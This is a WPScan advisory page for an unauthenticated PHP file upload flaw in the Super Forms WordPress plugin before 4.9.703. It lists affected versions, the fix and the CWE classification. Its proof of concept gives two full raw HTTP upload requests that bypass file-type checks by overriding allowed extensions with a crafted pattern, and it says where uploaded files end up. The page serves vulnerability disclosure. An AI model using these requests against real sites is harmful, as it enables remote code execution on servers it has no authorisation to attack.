WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Super Forms < 4.9.703 - Unauthenticated PHP File Upload to RCE

Description

The plugin uses the jQuery File Upload library, but does not properly ensure that PHP files are forbidden.

Note: Exploitation of the issue is not as easy as the original advisory (in the references) states.

Proof of Concept

If a form from the plugin with an upload field is present on the blog, and is used to upload the file (by intercepting it and modifying the request accordingly), then the PHP4 file will be moved to /wp-content/uploads/surperforms/<current-year>/<current-month>/<id>/<filename.php4> (via the AJAX action super_send_email). With the id being a random number between 100 000 000 and 999 999 999.

If the request is sent directly to /wp-content/plugins/super-forms/uploads/php/, the file will be uploaded in /wp-content/plugins/super-forms/uploads/php/files/<uid>/<filename.php4> with the uid being returned in the response. However, the plugin has an .htaccess preventing files to be accessed and the response content is set application/octet-stream on Apache web servers.


POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------300570514731228156932507970177
Content-Length: 507
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="accept_file_types"

php4
-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="files[]"; filename="yolo.php4"
Content-Type: application/pdf

<?php echo 'FAILED'; ?>

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="max_file_size"

5000000
-----------------------------300570514731228156932507970177--


v <= 4.9.701 restricted php4, however php files could still be uploaded by giving crafted patterns:

POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------300570514731228156932507970177
Content-Length: 507
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="accept_file_types"

[a-z]+|phps?|phpa?|phpb*
-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="files[]"; filename="yolo.php4"
Content-Type: application/pdf

<?php echo 'FAILED'; ?>

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="max_file_size"

5000000
-----------------------------300570514731228156932507970177--
 

Affects Plugins

super-forms
Fixed in version 4.9.703
super-forms-bundle
Fixed in version 4.9.703

References

ExploitDB
49490

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

ABDO10

Verified

Yes

WPVDB ID
787aa6b0-82dc-4b6d-893b-a54fae43415f

Timeline

Publicly Published

2021-01-28 (about 2 years ago)

Added

2021-01-28 (about 2 years ago)

Last Updated

2021-02-01 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us